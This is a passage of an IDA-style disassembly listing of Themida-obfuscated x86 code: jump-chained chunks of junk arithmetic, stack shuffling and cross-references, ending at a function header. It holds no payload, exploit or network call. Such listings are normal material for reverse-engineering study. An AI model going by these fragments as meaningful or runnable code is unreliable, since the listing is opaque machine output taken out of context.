loc_552351:				; CODE XREF: Themida_:0055315Dj
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 228F0E93h
		jmp	loc_55A832
; ---------------------------------------------------------------------------


loc_552364:				; CODE XREF: Themida_:00554870j
		push	eax
		mov	eax, 25A10CADh
		push	edi
		mov	edi, 0DC5CB6Eh
		jmp	loc_5591BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_552375:				; CODE XREF: sub_5584F8+45ABj
		add	esp, 4
		sub	eax, 49E61564h
		push	ebx
		push	ebp
		jmp	sub_55AE68
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_552384:				; CODE XREF: sub_552B74+606Cj
		sub	edi, ebx
		pop	ebx
		jmp	loc_559384
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55238C:				; CODE XREF: sub_556A70-4B90j
		add	eax, esi
		sub	eax, 773640Ah
		pop	esi
		push	4766h
		mov	[esp-8+arg_4], edx
		jmp	loc_55B9AD
; ---------------------------------------------------------------------------


loc_5523A1:				; CODE XREF: sub_556A70+ACEj
		add	ecx, 4
		jmp	loc_5596F4
; ---------------------------------------------------------------------------


loc_5523AC:				; CODE XREF: sub_556A70+617Aj
		push	0C690998h
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	eax, 71B93C8Dh
		add	eax, 0E310E05Ah
		mov	edi, eax
		pop	eax
		jmp	loc_553735
; ---------------------------------------------------------------------------


loc_5523C9:				; CODE XREF: sub_556A70+4F96j
		mov	dh, 0E1h
		inc	dh
		jmp	loc_55CDAA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5557A0


loc_5523D2:				; CODE XREF: sub_5557A0+4864j
		pop	dword ptr [eax]
		add	dword ptr [eax], 239C05DBh
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_5557A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5523E5:				; CODE XREF: sub_556A70+3C25j
		add	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		pop	esp
		jmp	loc_55A8E7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_5523F7:				; CODE XREF: sub_5567EA-3A54j
		add	edx, 0A040C0C3h
		mov	ebx, edx
		jmp	loc_5555E3
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552404:				; CODE XREF: sub_556A70+24EDj
		shr	ebx, 6
		sub	esp, 4
		jmp	loc_55A4A9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552412:				; CODE XREF: Themida_:00559AE2j
		shr	ebp, 8
		push	eax
		mov	eax, 1FF93681h
		push	edi
		jmp	loc_557401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552421:				; CODE XREF: sub_556A70+41E6j
		pop	esi
		jmp	loc_554ABA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552427:				; CODE XREF: Themida_:0055543Dj
		pop	edi
		mov	esi, ebx
		jmp	loc_5533EA
; ---------------------------------------------------------------------------


loc_55242F:				; CODE XREF: Themida_:0055A845j
		sub	esi, ecx
		pop	ecx
		sub	esi, 6F376C6Dh
		sub	esp, 4
		jmp	loc_555F51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552440:				; CODE XREF: sub_556A70-5552j
		add	ebp, eax
		jmp	loc_5580D7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554BBA


loc_552447:				; CODE XREF: sub_554BBA+4j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A766
; END OF FUNCTION CHUNK	FOR sub_554BBA
; ---------------------------------------------------------------------------


loc_552455:				; CODE XREF: Themida_:00553E3Ej
		mov	edx, edi
		pop	edi
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	7743h
		jmp	loc_55BE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552473:				; CODE XREF: sub_556A70+E46j
		mov	[esp+4+var_4], ebx
		jmp	loc_557644
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55247B:				; CODE XREF: Themida_:00559121j
		mov	bl, 16h
		add	bl, 54h
		push	small 0
		sub	[esp], bl
		mov	bl, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_557876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_552498:				; CODE XREF: sub_5584F8+33E8j
		sub	edi, 7B6D6359h
		add	edi, 90405A80h
		add	ecx, 289A268Ah
		add	ecx, edi
		sub	ecx, 289A268Ah
		pop	edi
		shr	ecx, 6
		jmp	loc_5511F6
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5524BB:				; CODE XREF: sub_556A70-4CBBj
		pop	esi
		jmp	loc_5576BF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5524C1:				; CODE XREF: Themida_:0055136Fj
		mov	esi, 45BD6CC5h
		shl	esi, 4
		push	ecx
		push	63196E1Ah
		jmp	loc_5556DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5524D4:				; CODE XREF: sub_556A70-4A7Dj
		add	ecx, 4
		push	eax
		jmp	loc_552B33
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5524E0:				; CODE XREF: Themida_:0055287Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5524F7:				; CODE XREF: Themida_:005530CAj
		push	3ACFh
		jmp	loc_55551C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_552501:				; CODE XREF: sub_5516F8+B0B3j
		and	edi, ebx
		pop	ebx
		shl	edi, 3
		sub	edi, 26D0BE3Bh
		sub	edx, edi
		mov	edi, [esp+0]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_552226
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552520:				; CODE XREF: sub_556A70+55B3j
		shl	eax, cl
		push	ebx
		push	edi
		push	edx
		push	30C7035Ch
		pop	edx
		jmp	loc_55C864
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552530:				; CODE XREF: Themida_:0055AF44j
		push	eax
		jmp	loc_55A7BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_552536:				; CODE XREF: sub_55AA5F-9BC2j
		add	edx, 3BDA4DD9h
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	edx, 21F21665h
		sub	edx, ebp
		add	edx, 21F21665h
		pop	ebp
		push	459Ch
		mov	[esp+8+var_8], edx
		jmp	loc_557275
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552564:				; CODE XREF: sub_556A70+3A00j
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_552570:				; CODE XREF: sub_556A70-5898j
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 3668h
		mov	word ptr [esp-10h+arg_C], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_552583:				; CODE XREF: sub_556A70-19DEj
		mov	ecx, 8801921h
		push	137Fh
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 581251D2h
		xor	ecx, ebp
		push	[esp-0Ch+arg_8]
		jmp	loc_554EC7
; ---------------------------------------------------------------------------


loc_55259F:				; CODE XREF: sub_556A70+6445j
		add	edi, edx
		jmp	loc_5597C2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5525A6:				; CODE XREF: Themida_:00556807j
		mov	[esp], edx
		jmp	loc_551DF1
; ---------------------------------------------------------------------------


loc_5525AE:				; CODE XREF: Themida_:0055C28Bj
		push	edi
		push	73854187h
		mov	edi, [esp]
		add	esp, 4
		not	edi
		add	edi, 74346A81h
		mov	edx, edi
		pop	edi
		jmp	loc_55ACDC
; ---------------------------------------------------------------------------


loc_5525CA:				; CODE XREF: Themida_:0055A272j
		sub	edi, esi
		pop	esi
		add	edi, 39AF0ADEh
		add	edi, 8D5AE854h
		jmp	loc_55224E
; ---------------------------------------------------------------------------


loc_5525DE:				; CODE XREF: Themida_:00555401j
		sub	al, ch
		pop	ecx
		add	al, 0A0h
		add	al, bl
		sub	al, 0A0h
		push	ebx
		jmp	loc_55C8D6

; =============== S U B	R O U T	I N E =======================================



sub_5525ED	proc near		; CODE XREF: sub_556A70+122Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553991 SIZE 0000000D BYTES

		sub	esp, 4
		jmp	loc_553991
sub_5525ED	endp

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2D87h
		mov	[esp], edx
		mov	edx, esp
		push	6651h
		mov	[esp], edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55CCE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552622:				; CODE XREF: sub_556A70+3D8Aj
		push	7D04h
		mov	[esp-4+arg_0], eax
		push	257Dh
		jmp	loc_55A9CC
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_552634	proc near		; CODE XREF: sub_55CC90-43D9j

; FUNCTION CHUNK AT 00550E1B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554075 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055415A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055451A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00556A61 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559993 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055AA7F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B631 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BE06 SIZE 0000001D BYTES

		push	ebp
		jmp	loc_55415A
sub_552634	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55263A:				; CODE XREF: Themida_:0055ACB6j
		not	ecx
		sub	ecx, 39EE1631h
		jmp	loc_5545A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552647:				; CODE XREF: sub_556A70+2D22j
		push	3026h
		mov	[esp+4+var_4], ebx
		mov	ebx, eax
		mov	ebp, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_556E05
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55265B	proc near		; CODE XREF: sub_556A70+35BAj
		push	ebp
		push	33B93146h
		pop	ebp
		jmp	loc_5575B5
sub_55265B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553E6A


loc_552667:				; CODE XREF: sub_553E6A+1B23j
		pop	ebp
		sub	eax, ecx
		push	esi
		mov	esi, 48311202h
		shl	esi, 7
		inc	esi
		jmp	loc_5572E0
; END OF FUNCTION CHUNK	FOR sub_553E6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552679:				; CODE XREF: sub_556A70-3BCj
		sub	bx, 6710h
		mov	si, word ptr [esp+4+var_4]
		add	esp, 2
		add	bx, 4EACh
		movzx	eax, ax
		push	small 7DA8h
		mov	word ptr [esp+2+var_4+2], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55269D:				; CODE XREF: sub_556A70-237Bj
		push	esp
		pop	edx
		jmp	loc_551C51
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5526A4:				; CODE XREF: Themida_:00551A37j
		push	esp
		jmp	loc_556C26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5526AA:				; CODE XREF: sub_552B74+2E68j
		mov	ebx, 4BD13409h
		add	edi, ebx
		pop	ebx
		add	edi, 35545AAAh
		pop	esi
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	0EC3h
		mov	[esp+8+var_8], ecx
		jmp	loc_55538F
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5526CC:				; CODE XREF: sub_556A70+51A0j
		ror	word ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5526D6	proc near		; CODE XREF: sub_550E2C+55ADj

; FUNCTION CHUNK AT 00551EBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552A29 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558F69 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055C8B1 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 2DB4288Dh
		jmp	loc_551EBF
sub_5526D6	endp

; ---------------------------------------------------------------------------


loc_5526E1:				; CODE XREF: Themida_:00558D51j
		add	ecx, 655E300Fh
		xor	edi, ecx
		pop	ecx
		or	edi, 34202393h
		push	35CEh
		mov	[esp], edx
		mov	edx, 6C886756h
		xor	edi, edx
		jmp	loc_551E07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552704:				; CODE XREF: sub_556A70+D1Aj
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552709:				; CODE XREF: Themida_:0055B524j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_554A06
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_556258
; ---------------------------------------------------------------------------


loc_55272C:				; CODE XREF: Themida_:00550A86j
		mov	esi, 2FB53007h
		push	esi
		not	dword ptr [esp]
		pop	esi
		and	esi, 72C00BC6h
		add	esi, 0AFBFF442h
		add	ebp, esi
		mov	esi, [esp]
		push	esi
		jmp	loc_55672C
; ---------------------------------------------------------------------------
		lodsb
		push	small 265Eh
		mov	[esp], bx
		sub	esp, 4
		jmp	loc_557D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55275E:				; CODE XREF: sub_556A70-978j
		not	esi
		sub	esi, 475C382Dh
		dec	esi
		sub	esi, 85ED89A4h
		sub	edx, esi
		pop	esi
		jmp	loc_5597BB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552775:				; CODE XREF: Themida_:005551C9j
		push	dx
		mov	dx, 3E26h
		sub	word ptr [esp+4], 34D2h
		jmp	loc_55A341
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552787:				; CODE XREF: sub_556A70-2E70j
		add	esp, 4
		jmp	loc_55438D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55278F:				; CODE XREF: Themida_:00555B6Fj
		push	dword ptr [esp+4]
		pop	ebp
		jmp	$+5
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 618F0E73h
		xor	ebp, 618F0E77h
		jmp	loc_556E2E
; ---------------------------------------------------------------------------


loc_5527BE:				; CODE XREF: Themida_:00554979j
		add	esi, eax
		sub	esi, 386A0DC7h
		jmp	loc_55423F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5527CB:				; CODE XREF: sub_556A70+4B8Ej
		add	esp, 4
		sub	ebx, esi
		mov	esi, [esp-6+arg_0+2]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp]
		jmp	loc_555A89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_5527FB:				; CODE XREF: sub_553B16+590Cj
		pop	eax
		add	edx, 0CF256E73h
		sub	eax, 36003F46h
		jmp	loc_557A79
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_55280C:				; CODE XREF: sub_55515F-4084j
		push	ecx
		jmp	loc_554D05
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552812:				; CODE XREF: sub_556A70-4FB8j
		xchg	eax, [esp-14h+arg_10]
		push	[esp-14h+arg_10]
		pop	eax
		sub	esp, 4
		mov	[esp-10h+arg_C], edx
		mov	edx, esp
		jmp	loc_558A14
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554BBA


loc_552826:				; CODE XREF: sub_554BBA-288Fj
		pop	ebx
		shr	ecx, 0
		jmp	loc_5570E3
; END OF FUNCTION CHUNK	FOR sub_554BBA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5341h
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 667E2632h
		and	edi, 1BCC4918h
		xor	edi, 26134566h
		shr	edi, 6
		neg	edi
		shl	edi, 8
		add	edi, 917D1504h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55B8B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552873:				; CODE XREF: sub_556A70+2446j
		push	ecx
		push	esp
		jmp	loc_554472
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55287A:				; CODE XREF: Themida_:00558F0Cj
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5524E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CC90


loc_552884:				; CODE XREF: sub_55CC90-BBBBj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	44E5h
		jmp	loc_55887D
; END OF FUNCTION CHUNK	FOR sub_55CC90
; ---------------------------------------------------------------------------


loc_5528A3:				; CODE XREF: Themida_:00557DE0j
		mov	esi, esp
		push	edi
		push	ebp
		jmp	loc_555E46
; ---------------------------------------------------------------------------


loc_5528AC:				; CODE XREF: Themida_:00558ADEj
		push	ebp
		jmp	loc_559F45
; ---------------------------------------------------------------------------


loc_5528B2:				; CODE XREF: Themida_:0055C825j
		add	esp, 4
		sub	esi, 338D03E0h
		jmp	loc_55B941
; ---------------------------------------------------------------------------


loc_5528C0:				; CODE XREF: Themida_:0055AD60j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 25926E05h
		inc	ebp
		and	ebp, 75796C09h
		sub	ebp, 39D90D6Fh
		neg	ebp
		xor	ebp, 63D5872Ah
		add	ebp, 423928D1h
		add	ebp, 46A9B0EEh
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_552905:				; CODE XREF: Themida_:005548D1j
		shl	edx, 6
		xor	edx, 60B5C7DFh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		or	esi, 6B09055Ch
		push	edi
		push	0EF29CF5Eh
		pop	edi
		jmp	loc_5545B1

; =============== S U B	R O U T	I N E =======================================



sub_55292B	proc near		; CODE XREF: sub_556A70+217Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00558903 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		push	edx
		jmp	loc_558903
sub_55292B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552944:				; CODE XREF: sub_556A70-3ED1j
		pop	edx
		jmp	sub_552E24
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55294A:				; CODE XREF: sub_552B74-1A91j
		mov	bh, 1Eh
		and	cl, bh
		jmp	loc_55818C
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------


loc_552953:				; CODE XREF: Themida_:0055A736j
		push	ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552963:				; CODE XREF: sub_556A70-5102j
		pop	ebp
		neg	edx
		jmp	loc_550F19
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55296B:				; CODE XREF: Themida_:00551CB3j
		add	eax, 0DD80FCCh
		sub	eax, ebx
		sub	eax, 0DD80FCCh
		jmp	loc_557BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B42


loc_55297C:				; CODE XREF: sub_551B42+74DCj
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_551B42
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55297F:				; CODE XREF: sub_551B42+327Dj
					; sub_556A70+27D3j
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		jmp	loc_551973
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_552998:				; CODE XREF: sub_555B85-4994j
		push	ecx
		mov	ecx, 36662BF2h
		add	ecx, 6131278Ah
		jmp	loc_550D50
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_5529A9:				; CODE XREF: sub_553651+2DFBj
		sub	ebx, 617F52E6h
		jmp	loc_55C638
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------


loc_5529B4:				; CODE XREF: Themida_:005583E8j
		push	ax
		mov	ah, 2Dh
		add	bh, 24h
		add	bh, ah
		sub	bh, 24h
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_55A6AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5529CF:				; CODE XREF: sub_556A70-37AFj
		push	ecx
		jmp	loc_5541F7
; ---------------------------------------------------------------------------


loc_5529D5:				; CODE XREF: sub_556A70-38D7j
		shr	bh, 6
		not	bh
		xor	bh, 8Dh
		sub	bh, 0Eh
		sub	bh, 0C1h
		add	dl, bh
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		or	dl, 1Ch
		push	ebx
		mov	bh, 90h
		not	bh
		jmp	loc_55457C
; ---------------------------------------------------------------------------


loc_5529F8:				; CODE XREF: sub_556A70-5D73j
		push	[esp-0Ch+arg_8]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_556C5C
; ---------------------------------------------------------------------------


loc_552A04:				; CODE XREF: sub_556A70-23AAj
		push	edi
		jmp	loc_552127
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552A0A:				; CODE XREF: Themida_:00552E39j
		pop	edx
		sub	eax, 47E35605h
		add	eax, esi
		add	eax, 47E35605h
		sub	eax, 2F235685h
		pop	esi
		jmp	loc_552219
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_559B8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5526D6


loc_552A29:				; CODE XREF: sub_5526D6+68AAj
		push	esi
		jmp	loc_5578FB
; END OF FUNCTION CHUNK	FOR sub_5526D6
; ---------------------------------------------------------------------------


loc_552A2F:				; CODE XREF: Themida_:0055802Ej
		mov	eax, esp
		add	eax, 4
		push	5019h
		mov	[esp], esi
		mov	esi, 4
		push	edx
		jmp	loc_552E32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552A49:				; CODE XREF: sub_556A70+5753j
		not	esi
		xchg	esi, ecx
		push	eax
		mov	eax, 635461A9h
		not	eax
		not	eax
		or	eax, 78825C65h
		dec	eax
		jmp	loc_551954
; ---------------------------------------------------------------------------


loc_552A62:				; CODE XREF: sub_556A70+15A5j
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_552CD8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_553077
; ---------------------------------------------------------------------------


loc_552A88:				; CODE XREF: Themida_:0055194Fj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_552A96:				; CODE XREF: Themida_:005547D3j
		mov	edx, 4
		sub	ebp, 33984A5Dh
		add	ebp, edx
		add	ebp, 33984A5Dh
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ebp, 0ABC6925h
		jmp	loc_555D28
; ---------------------------------------------------------------------------


loc_552AC3:				; CODE XREF: Themida_:0055AD2Cj
		add	ch, bh
		sub	ch, 88h
		mov	bx, [esp]
		jmp	loc_559B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E85


loc_552AD1:				; CODE XREF: sub_554E85+3Dj
		mov	eax, ebp
		pop	ebp
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	6559h
		jmp	loc_557956
; END OF FUNCTION CHUNK	FOR sub_554E85
; ---------------------------------------------------------------------------


loc_552AE4:				; CODE XREF: Themida_:005552C6j
		inc	ebp
		dec	ebp
		xor	ebp, 10065AAFh
		jmp	loc_5582FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552AF1:				; CODE XREF: sub_556A70+D0Bj
		mov	esp, [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		not	eax
		xchg	eax, edi
		add	edi, 0C4F48785h
		jmp	loc_553B51
; ---------------------------------------------------------------------------


loc_552B08:				; CODE XREF: sub_556A70+21Cj
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_552BC5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_552B13:				; CODE XREF: sub_55AA5F+1Bj
		sub	ebx, 0D026726Bh
		jmp	loc_5532C6
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552B1E:				; CODE XREF: sub_556A70+5201j
		shl	si, 6
		inc	si
		jmp	loc_559883
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552B29:				; CODE XREF: Themida_:0055C9F7j
		push	7310h
		jmp	loc_559C11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_552B33:				; CODE XREF: sub_556A70-4595j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	[esp+arg_0]
		pop	ecx
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_556B24
; ---------------------------------------------------------------------------


loc_552B4C:				; CODE XREF: sub_556A70+EA1j
		sub	ebp, 0EBF6CCh
		mov	esi, ebp
		pop	ebp
		sub	eax, 701D044Dh
		sub	eax, esi
		push	esi
		mov	esi, 701D044Dh
		add	eax, 5A3B430Ah
		jmp	loc_553DEB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_552B6C:				; CODE XREF: Themida_:00550D2Ej
		and	ah, 0FAh
		jmp	loc_5541CE

; =============== S U B	R O U T	I N E =======================================



sub_552B74	proc near		; CODE XREF: sub_556A70+2FA2j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

